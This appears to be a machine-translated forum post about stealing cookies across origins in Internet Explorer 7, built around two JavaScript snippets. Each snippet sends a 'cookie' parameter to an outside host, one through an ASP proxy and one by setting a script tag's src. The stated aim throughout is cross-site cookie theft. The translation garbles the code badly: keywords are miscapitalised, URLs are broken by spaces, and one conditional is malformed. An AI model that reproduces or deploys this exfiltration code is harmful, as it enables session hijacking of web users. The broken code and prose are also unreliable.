Solution to cross-origin Cookie Theft using Ajax in IE7

One afternoon of study, the first challenge was Ajax cross-Origin data submission, which can be solved using Web Proxy. a.htm on http: // 192.168.8.htm Code :

<SCRIPT>

Function getxmlhttprequest (){

If (window. activexobject ){

VaR iearr = ["msxml2.xmlhttp", "Microsoft. XMLHTTP"];

For (VAR I = 0; I <iearr. length; I ++)

{

VaR XMLHTTP = new activexobject (iearr [I]);

}

Return XMLHTTP;

} Else if (window. XMLHttpRequest ){

Return new XMLHttpRequest ();

}

}

VaR XMLHTTP = getxmlhttprequest ();

XMLHTTP. Open ("get", "http: // 192.168.8.108/asp/Web. asp? Url = http://8888.com/2.asp? Cookie = Mmm ", true );

XMLHTTP. Send (null)

</SCRIPT>

Web. asp is an ASP proxy.

You can directly access http: // 192.168.8.108/a.htm to send data. However, in cross-site scenarios, if we want to cross the site of 192.168.8.108, we certainly cannot put a web. asp on top, so this approach is not feasible.

In addition, IFRAME tags are usually used for Cross-Site Cookie Stealing in other ie7.0 scenarios. If Ajax is not successfully sent, another cross-site approach is found after searching, you do not need to use IFRAME for cross-origin submission. The Code is as follows:

<Script language = "JavaScript" src = "" id = "get">

</SCRIPT>

<Script language = "JavaScript">

<! --

Function get (URL)

{

VaR OBJ = Document. getelementbyid ("get ");

OBJ. src = URL;

(Obj. readstatus = 200)

{

Eval (Alert ("OK "));

}

}

Get ("http://jb51.net/2.asp? Cookie = 12345678 ")

/* Function query ()

{

Get ("http://jb51.net/web/1.img"); // code can be written here, like replacing OK in alert ("OK") with a variable, the code in 1.img is Var OK = "123"

}

// -->

*/

</SCRIPT>

For other better methods, we are welcome to discuss how to steal cookies through Ajax cross-origin in IE7.